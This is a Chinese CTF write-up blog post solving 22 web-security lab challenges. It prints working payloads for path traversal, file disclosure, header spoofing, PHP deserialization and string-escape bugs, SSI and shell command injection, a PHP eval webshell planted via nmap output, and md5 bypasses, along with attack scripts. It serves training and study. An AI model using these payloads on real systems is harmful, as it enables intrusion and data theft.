首页 > 其他分享 >WEB专项-代码审计(一)

WEB专项-代码审计(一)

时间:2024-04-02 09:23:36浏览次数:29  
标签:审计 WEB 专项 源代码 flag file php payload 页面

一、WarmUP

1.进入靶场,出现一张照片,右击查看源代码,发现有一个注释的source.php文件
image
2.访问source.php,发现白名单中还存在hint.php文件,继续访问hint.php文件,发现有flag的线索。
image
image
3.接下来就是想办法绕过source.php中的防护,传参file必须要满足三个条件,第一个不能为空,第二个是字符串,第三个得满足函数checkfile的判断,这里面关键是要通过checkfile 的判段。第一个if函数如果参数为空或者非字符串则错误;第二个if函数搜索参数是否符合白名单中的值,需要完全相同,故该函数不可能成立;mb_substr函数对参数进行分割;第三个if函数判断分割后的参数是否在白名单内,然后对参数进行url解码,防止编码绕过。综合上述条件:payload为?file=source.php%3f/../../../../ffffllllaaaagggg,获得flag。
image

二、HaveFun

1.进入靶场,查看源代码,发现有一段代码被注释了。
image
2.只要传入的参数cat满足判断即可获得flag。
image

三、Secret File

1.一进靶场,出现以下画面,查看源代码,发现一个Archive_room.php页面,去访问它。
image
2.进入Archive_room.php页面,继续查看源代码,发现一个action.php页面。
image
3.继续点击action.php进入下一个页面,但是发现进入的却是end.php页面。
image
4.这就得用burpsuite去抓包分析了,为啥没进入action.php页面。抓到action.php的相应包,发现还隐藏着一个secr3t.php页面。
image
5.访问secr3t.php页面,出现如下画面。
image
6.接下来就是如何绕过if判断获得flag了。strstr函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE;stristr() 函数搜索字符串在另一字符串中的第一次出现。直接构造file=flag.php,发现还是没法得到。
image
7.尝试将flag.php进行base64编码后再输出。构造payload:file=php://filter/convert.base64-encode/resource=flag.php。
image
8.对显示的字符串进行base64解码即可获得flag。
image

四、Http1

1.进入页面查看源代码,发现有一个小文件。
image
2.访问该页面,出现如下画面,说它不可能来自https://Sycsecret.buuoj.cn 。
image
3.直接去访问该网站,发现果然连接失败。
image
4.那只能用burp来修改数据包了,将referer改为https://Sycsecret.buuoj.cn ,放包,页面出现新信息。
image
image
5.提示我们用Syclover浏览器,继续修改数据包,将user-agent改为Syclover,放包,页面出现新信息。
image
image
6.提示我们要在本地访问,继续修改数据包,将X-Forwarded-For设为127.0.0.1,放包,得到flag。
image
image

五、PHP1

1.打开靶场,查看页面源代码,没有发现什么线索。
image
2.根据页面提示,有备份的习惯,猜测应该有源码,尝试用目录扫描工具,结果真的存在源码,下载源码。
image
3.依次打开三个php文件,有一个flag.php文件,打开,发现里面有一个flag,尝试提交,不对。
image
4.再去看class.php和index.php文件,发现了线索。index.php有一个反序列化函数,class.php有输出flag的代码。当传递的username为admin时会显示flag,但要求传递的参数为select,故得通过反序列化去实现。
image
5.当password不等于100的时候,程序会走到die()就结束了,故得把password设为100,username设为admin,在进行序列化操作。
image
6.得到序列化后的结果,进行传参。
image
7.发现没成功,那应该还是传参有问题。仔细检查,发现还有个wakeup函数会将username设为guest,故得绕过该函数。序列化后的结果O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}发现Nameusername和Namepassword与前面的14不对应,少了两个字符,这是因为username和password变量是private类型,变量中的类名前后会有空白符,而复制的时候会丢失,所以还需要加上%00,同时要绕过_wakeup(),还要将Name后面的数字修改为大于2的数。
image
8.将传参改为O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";},成功得到flag。
image

六、Easy Calc

1.打开靶场,实现的是一个计算器的功能,查看页面源代码,发现此功能是由calc.php页面实现的。
image
2.访问calc.php页面,发现是一个黑名单判断,尝试输入参数num=phpinfo();发现被waf拦截了。
image
image
3.不能输入num,那就尝试使用%20num进行绕过,果然成功了。
image
4.通过php的scandir函数查看该目录下存在什么文件,这里/被过滤了,尝试用ascll码进行转换,命令%20num=var_dump(scandir(chr(47)));有发现。
image
5.目录里有一个f1agg的文件,用file_get_contents函数去读取,获取flag。命令%20num=var_dump(file_get_contents(chr(47).f1agg));。
image

七、BackupFile1

1.打开靶场,根据题目和页面的提示,猜想应该是有备份文件,用御剑扫描后发现存在index.php.bak文件。
image
2.打开index.php.bak文件,里面的php代码较简单,简单的构造一个payload:key=123即可绕过。
image
image

八、BuyFlag1

1.进入靶场,右击查看源代码,看到有两个php文件,经过查看,index.php里面没东西,pay.php里面有东西。
image
2.pay.php里面有这样一段代码,要求用POST的方式传参money和password。
image
3.构造参数password=404a&money=100000000,也没有回显。
image
4.经过抓包,发现传递的参数里面的cookie值为0,将其改为1,继续传参。
image
5.提示我传参的数据太长了,肯定是我的money传参位数太多了,将其改为科学计数法money=1e9,再进行尝试,成功。
image

九、NiZhuanSiWei1

1.打开靶场,是一段源码。
image
2.其中isset判断text是否为空,还有text文件中读取一串字符串要跟welcome to the zjctf相等,这里采用data协议进行读取,构造payload:?text=data://text/plain,welcome to the zjctf
image
data写入协议详见https://www.kancloud.cn/a173512/php_note/1709823
3.file参数中不能包含flag,其根据提示存在useless.php,所以采用php://filter协议进行读取,如果不采用,代码会被和谐掉。构造payload:?file=php://filter/read=convert.base64-encode/resource=useless.php
image
4.最后一步就是序列化password,这里直接采用模板。

<?php  
class Flag{  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

这里最后会echo输出$file
将flag.php的值给了$file,然后反序列化。

<?php 
class Flag{   
    public $file="flag.php"; 
    public function __tostring(){ 
        if(isset($this->file)){ 
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        } 
    } 
} 
$password=new Flag();
echo serialize($password);
?>

image
5.将序列化后的结果赋给password即可,最后重新构造payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},查看源代码即可获得flag。
image
image

十、Ez_bypass

1.进入靶场,查看源代码。
image
2.关键的代码是上述框里的,首先两个get传参id和gg的md5值要相等,但是id和gg不相等,一个post传参passwd不能是数字且其要弱类型等于1234567.
要使id和gg的md5值相等但他们两个不相等可以通过数组实现,passwd不能是数字但要等于1234567可以在1234567后加个a即可。
image
总结:
MD5绕过的几种手法:
(1)$a!=$b;md5($a)==md5($b);
这种情况可以通过几个md5值开头是0e的字符串进行绕过,如下图
image
(2)$a!=$b;md5($a)===md5($b);
这种情况可以传数组进行绕过,如下图
image
(3)(string)$a!=(string)$b;md5($a)===md5($b);
这个只能通过MD5碰撞,可参考https://www.jianshu.com/p/c9089fd5b1ba
(4)$a=$_GET[‘a’];$a==md5($a);
这个只能让$a是以0e开头的,且其的md5值也是以0e开头。例如:$a=’0e215962017’或者$a=’0e00275209979’,如下图
image
image
有一题有这样三个条件:传参是一个数组$a;检查$a[0]和$a[1],很严格的过滤;取$a数组的前两个元素做拼接,执行危险命令,如何绕过?
绕过方法:?a[2]=危险语句&a[3]=危险语句&a[0]=正常语句&a[1]=正常语句

十一、[BJDCTF2020]EasySearch

1.随便输入两个数据,看页面回显。
image
2.查看页面源代码,发现[!]Failed一直存在于前端代码中,无法绕过。
image
3.猜想可能存在其他文件,进行目录扫描,发现了index.php.swp文件。
image
4.查看index.php.swp文件。
image
5.只需要让password的md5值的前6位等于6d0bc1即可。

import hashlib

for i in range(1000000000):
    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if md5[0:6] == '6d0bc1':
        print(str(i)+' | '+md5)

image
输入username=123,password=2020666,回显如下。
image
6.代码中还生成了.shtml文件,文件名是get_hash()函数生成的,往该文件写入了内容。由于get_hash()函数每次生成的值都不一样,尝试用抓包去分析,在响应包中看到了文件。
image
7.访问该文件,用户名输出,猜想可以在用户名处进行注入。
image
8.此处为ssi注入,ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果。命令格式为:<!--#exec cmd=”命令” -->。首先查看当前目录下的文件。
image
image
image
9.没有发现flag,查看根目录下的文件。
image
image
image
10.用cat命令读取flag文件。
image
image
image

十二、[0CTF2016]piapiapia

1.尝试sql注入,没成功。
image
image
2.查看源代码也没有发现。进行目录扫描,存在一个www.zip压缩包,里面有6个php文件。
image
3.进行代码审计。
(1)config.php
config.php文件里面有变量flag,所以大概率存在于服务器的config.php文件中。
image
(2)class.php
class.php文件定义了mysql类和user类,filter方法将select、where、insert等关键字都替换成了hacker,update_profile方法调用了filter方法。
image
image
(3)update.php
update.php文件对phone,email,nickname的传参都进行了正则匹配,然后将其序列化后进行上传。
image
(4)profile.php
profile.php文件将用户信息反序列化,对photo的内容用base64编码进行读取和显示。
image
4.想让flag显示出来就得依靠base64-encode(file_get_contents($profile['photo'])),让photo的传参为config.php。所以这里采用的是php反序列化字符逃逸,需要构造出超出长度的数据,将被挤出来的数据形成可以读取config.php的数据项。
(1)构造数据
构造数据要被挤到photo的位置,需要在nickname的位置构造超出规定长度的数据,由于对nickname的长度限制为小于等于10,这里要将其改为数组绕过。
image
(2)读config.php的数据,加上对前面符号的闭合的字符串,长34位:";}s:5:"photo";s:10:"config.php";},即需要在nickname处多添加34位长的数据。
(3)在filter进行过滤的时候,where、select等关键词会被替换成hacker,当nickname传入34个where的时候,就会多出34个字符的长度。所以nickname的传参为:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}。
5.先进行注册,按照顺序进入update.php页面。
image
image
image
6.在update.php页面进行抓包,修改数据放包。
image
7.查看页面源代码,对其进行base64解密即可。
image
image

十三、[MRCTF2020]套娃

1.右键查看源代码。
image
2.要求传入的参数不能有下划线,且传入的值不能等于23333,但是得以2开头,3结尾。第一个绕过通过把下划线换成空格,第二个绕过通过换行符实现。
image
3.访问secrettw.php,源代码中有JSFuck密码,控制台输出。
image
image
4.提示传参方式为POST,传参为Merak,要从本地访问。
image
image
5.源代码中要绕过第一个if判断,X-Forwarded-For无法绕过,换成Client-IP绕过;file_get_contents读取到的内容为today is a happy day,可以利用data协议;change($_GET['file'])的值为flag.php。
image
image

十四、dino3d

1.玩游戏过程中进行抓包,发现有check.php。
image
2.回显是分数不到1000000分,修改score传参为1000000,回显如下。
image
3.查看页面源代码,寻找有关check.php的东西,在build.min.js中找到。
image
4.两个传参跟e有关,一个跟时间相关。第一个score=1000000,第二个是分数+t的md5值,第三个tm是时间戳。要设置第二个参数,得先知道t是什么,追踪代码。
image
image
image
5.所以t=DASxCBCTF_wElc03e,这样就可以得到checkCode的值。
image
6.编写脚本跑出flag。

import requests
import hashlib
import time

my_url = "http://node4.buuoj.cn:26195//check.php"
my_headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
    "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.9",
    "Accept-Encoding": "gzip, deflate", "Referer": "http://node4.buuoj.cn:26195/",
    "Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Origin": "http://node4.buuoj.cn:26195", "Connection": "close"}
score = "1000000".encode()
checkcode = hashlib.md5(score + 'DASxCBCTF_wElc03e'.encode()).hexdigest()
timestamp = int(time.time())
my_data = {"score": score, "checkCode": checkcode, "tm": timestamp}
resp = requests.post(url=my_url, headers=my_headers, data=my_data)
print(resp.text)

image

十五、NotPHP

1.源码如下。
image
2.绕过第一个if判断,可以通过data协议,payload:data=data:/text/plain,Welcome to CTF
image
3.绕过第二个if判断可以通过传数组,payload:key1[]=abc&key2[]=def
image
4.绕过第三个if判断可以通过数字后面加字母实现,payload:num=2077a
image
5.最后就是绕过那个#注释,让其执行命令。尝试过用分号结尾或者转义字符去绕过,但是都不行。最后只能用?>来结束上一段php代码,再另写一段php代码去执行system('cat /flag')命令,成功。
image

十六、Online Tool

1.网页代码如下。
image
2.这里能利用的点只有最后一行的system命令中的host变量。host首先是通过GET传参,并且经过escapeshellarg和escapeshellcmd两个函数的转换获得。先了解两个函数的功能。
image
image
两个函数一起使用会产生如下的漏洞。
image
3.利用以上的特性,结合nmap命令的-oG参数可以将命令和结果写进文件,所以这里可以尝试往一个文件里面写一句话木马。构造payload:?host='<?php eval($_REQUEST[8]) ?> -oG 666.php'
image
4.得到了上传文件的地址,成功访问。
image
5.使用菜刀连接,获得flag。
image

十七、ZJCTF,不过如此1

1.源码如下。
image
2.关键点如上,绕过第一个if判断可以data协议进行传入,根据提示next.php,可用base64加密过后显示该页面源码。
image
3.得到一串base64加密后的字符串,进行解密,得到php代码。
image
4.进行代码审计。可通过getFlag函数传递cmd参数获得flag。preg_replace()函数中的/e参数会产生命令执行漏洞,可以将第二个参数当作命令执行,但是这里第二个参数已经被写死了,strtolower中的\1相当于\1,在正则匹配中代表第一个子匹配项。例如payload为/?.*={${phpinfo()}},当经过正则替换后就变成 preg_replace('/(.*)/ei', 'strtolower("\1")', {${phpinfo()}});但是该语句不能执行phpinfo命令,因为$_GET会将不合法的参数转换为下划线,故传入的变量可以是\S*
image

十八、Had a bad day?

1.页面上有两个按钮,点击查看能不能发现什么线索。
image
image
image
2.尝试着从catagory参数中将两个页面的源代码读出来。
image
image
3.两者得到的源码一致,用base64进行解码。
image
4.发现是img的标签,没有用。尝试着去读取index.php的源码,注意这里resource=index。
image
5.跟做题有关的代码如下。
image
6.只有当匹配到woofers、meowers、index三者当中的任意一个关键字才会显示。所以要去访问flag也得利用上面的关键字。构造payload:?category=php://filter/read=convert.base64-encode/resource=index/../flag
image
7.解码得到flag。
image

十九、Mark loves cat1

1.页面中没有任何的注入点,尝试过在contact界面进行XSS没成功。查看源码也没有任何的信息。
image
image
2.目录扫描后发现.git泄露,利用GitHack.py进行下载,得到flag.php和index.php文件。
image
image
3.第一个foreach将POST的传参进行键值分离,第二个foreach将GET的传参进行键值分离,不同的是第一个的值是$y,第二个是$$y,所以这里存在变量覆盖漏洞。存在三个exit函数可以输出flag。
(1)exit($handsome)
要满足的条件是$_GET['flag'] === $x && $x !== 'flag',故构造payload:?handsome=flag&flag=b&b=flag
image
(2)exit($yds)
要满足的条件是!isset($_GET['flag']) && !isset($_POST['flag']),构造payload:?yds=flag
image
(3)exit($is)
要满足的条件是$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag',构造payload:?is=flag&flag=flag
image

二十、安洵杯easy_web1

1.url中存在两个参数img和cmd,且img的值像是一个base64加密,故将其进行解密。
image
image
image
2.按照这个规律,index.php进行一次16进制转换,两次base64加密。
image
image
3.可以看到页面左上角有一张没显示的照片,右击查看源代码。
image
4.将其进行base64解码可得到php代码。
image
5.代码中对cmd传参和file传参都做了过滤,可利用的点是`$cmd`,反引号是shell_exec的别称,故想代码执行到此处,得满足下述代码。
image
6.绕过正则匹配可用\,而a和b的传参不能用数组进行绕过,因为都将其转换成了string类型,所以只能采取md5碰撞的策略,故payload:

$a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&$b= %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2,cmd=dir

image
7.可以看到该目录下有4个文件,没有看到有flag,所以去查看根目录,payload:cmd=l\s%20/
image
8.去查看flag,payload:cmd=c\a\t%20/flag
image

二十一、高明的黑客。

1.页面提示存在网页源代码备份,进行下载。
image
2.源代码中包含了3000多个php文件,进行代码审计,利用Seay审计工具进行自动审计功能,发现了许多漏洞。
image
3.尝试了几个之后,发现有许多地方都无法得到flag。
image
image
4.利用大佬写的脚本爆破之后,才得到可利用的点在xk0SzyKwfzw.php文件中,只要在Efa5BVG传参中传入我们想要的执行命令即可。
image
image

import os
import requests
import re
import threading
import time

print('开始时间:  ' + time.asctime(time.localtime(time.time())))
s1 = threading.Semaphore(30)  # 这儿设置最大的线程数
filePath = r"D:\phpStudy\PHPTutorial\WWW\src"
os.chdir(filePath)  # 改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5  # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False  # 设置连接活跃状态为False


def get_content(file):
    s1.acquire()
    print('trying   ' + file + '     ' + time.asctime(time.localtime(time.time())))
    with open(file, encoding='utf-8') as f:  # 打开php文件,提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}  # 所有的$_POST
    params = {}  # 所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/' + file
    req = session.post(url, data=data, params=params)  # 一次性请求所有的GET和POST
    req.close()  # 关闭请求  释放内存
    time.sleep(2)
    req.encoding = 'utf-8'
    content = req.text
    # print(content)
    if "xxxxxx" in content:  # 如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
            content = req.text
            req.close()  # 关闭请求  释放内存
            time.sleep(2)
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b: "echo 'xxxxxx';"})
                content = req.text
                req.close()  # 关闭请求  释放内存
                time.sleep(2)
                if "xxxxxx" in content:
                    break
        if flag == 1:  # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: ' + file + "  and 找到了利用的参数:%s" % param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()


for i in files:  # 加入多线程
    t = threading.Thread(target=get_content, args=(i,))
    t.start()

二十二、朴实无华

1.先尝试抓包,看在请求头中有没有什么线索。
image
2.没有发现后,尝试去访问robots.txt文件了解爬虫的规则。
image
3.根据提示访问fAke_f1agggg.php文件。
image
4.在页面中无任何提示,但当查看请求头的时候发现了线索。
image
5.访问该文件出现了php代码。
image
6.代码中乱码,修改编码展示正常,跟获取flag相关的代码如下。
image
7.对于第一个if判断,可用科学计数法进行绕过。payload:num=11e3。
image
8.对于第二个if判断,只是一个md5的弱比较,采用0e开头的即可。payload:md5=0e215962017。
image
9.对于第三个if判断,其对cat关键字进行了替换,还对空格进行了过滤。空格可用$IFS$9进行替代,cat命令可用tac命令进行替代。payload:get_flag=tac$IFS$9fl4g.php
image
10.成功绕过,再使用ls命令去查看flag藏在哪里。
image
11.访问对应文件即可。payload:get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
image

标签:审计,WEB,专项,源代码,flag,file,php,payload,页面
From: https://www.cnblogs.com/sbhglqy/p/18109394

相关文章

  • 在Linux中,有哪些安全审计工具?
    在Linux中,有多种安全审计工具可供系统管理员和技术人员使用,这些工具主要用于检测潜在的安全漏洞、追踪系统行为、实施策略合规性检查以及监控系统安全性。以下是一些主要的安全审计工具:Lynis:Lynis是一款开源的安全审计工具,适用于各种类Unix系统,包括Linux、macOS和BSD等。它可......
  • Windows 部署 Stable Diffusion web UI
    系统要求环境要求1.安装Python3.10.6.2.安装git.#自行百度安装版本信息StableDiffusion:1.8.0-RC python:3.10.6 torch:2.1.2+cu121配置python环境打开AnacondaPowershellPrompt创建python环境(base)PSC:\Users\wgs>condacreate-pG:\st......
  • 53.html+css+js网页设计实例/“旅游”主题北京介绍/web前端期末大作业/
    一、前言 本实例以“旅游”北京为主题设计,应用html+css+js,包括菜单导航、视频、留言表单、搜索等,供大家参考。【关注作者】2000+套Web模板,主题涵盖30+类型,更多网页课程、网页模板,DW网页成品源代码下载,有兴趣的联系我交流分享!您的支持是我创作的动力,【点赞收藏博文】,3Q!二......
  • CTFHUB-技能树-Web前置技能-SQL注入-报错注入
    技能树-Web前置技能-SQL注入-报错注入报错注入函数loor函数selectcount(*),(floor(rand(0)*2))xfromtablegroupbyx;select查询语句groupby进行分组(相同为一组)rand()生成0到1的随机数floor()返回整数count()对数据整合(类似去重)产生原因:mysql在执行该语句会......
  • WEB专项-SQL注入
    一、EasySQL1.进入靶场,发现有用户名和密码两个输入框,首先想到的是便是爆破,但这工作量有点大,根据题目的提示,这里存在sql注入漏洞。2.在用户名和密码输入框中随便输入一点数据,找到传参位置。3.尝试在用户名中输入通用的sql注入语句,adminor1=1--qwe,发现没生效,有可能是没有闭......
  • MISC专项-其他类型
    一、二维码1.解压出来是一张二维码,用微信进行扫码,发现扫出来的不是flag。2.用winhex打开该文件,发现里面存储了一个名为number.txt的文件。3.将图片的后缀名改为zip,解压发现里面确实有一个txt文件。4.点击该文件,发现需要密码,尝试暴力破解方法。5.输入密码,成功获得flag。......
  • MISC专项-流量分析
    一、wireshark1.解开压缩包,里面是一段流量包,用wireshark打开。2.根据题目提示,这是管理员登录网站一段流量包,那必定有和浏览器的交互,所以直接进行过滤,筛选出http包,里面有一个登录的包。3.查看该包,在最后看到了flag和密码。二、easycap1.用wireshark打开pcap文件,里面是两台......
  • MISC专项-图片隐写
    一、大白1.打开压缩包,发现是一张图片,但是明显的不完整,下面少了一块。2.右击图片查看属性,该图片的宽度和高度分别是679、256。3.用winhex打开该图片,去修改它的高度,256对应的16进制为100,对找到相应的地方进行修改,改成300即可。4.保存修改,再次打开图片即可得到flag。二、隐......
  • 如果快速搭建一个可以用于全球收款的web应用?
    其实github和网上有很多开源或者付费的模版,可以用户全球化页面的搭建。但是这些基本都是外国人开发的,中文生态很不友好。小编今天就推荐一个GitHub上的由国人开源的新项目。该项目3月26日开源以来,已收获230+star,增长势头很猛,口碑也是不错。今天我就用这个项目,来教大家快速搭建一......
  • MISC专项-常规密码篇
    一.Rabbit(Rabbit加密)1.解开压缩包,打开文件,发现一串字符串U2FsdGVkX1/+ydnDPowGbjjJXhZxm2MP2AgI,既不是base64等常见算法,看来是一些新起的加密方式。2.上网搜索Rabbit解码,发现真的有这个网站,直接复制进去解码,得到flag。二.篱笆墙的影子(栅栏密码)1.解开压缩包,打开文件,发现一串......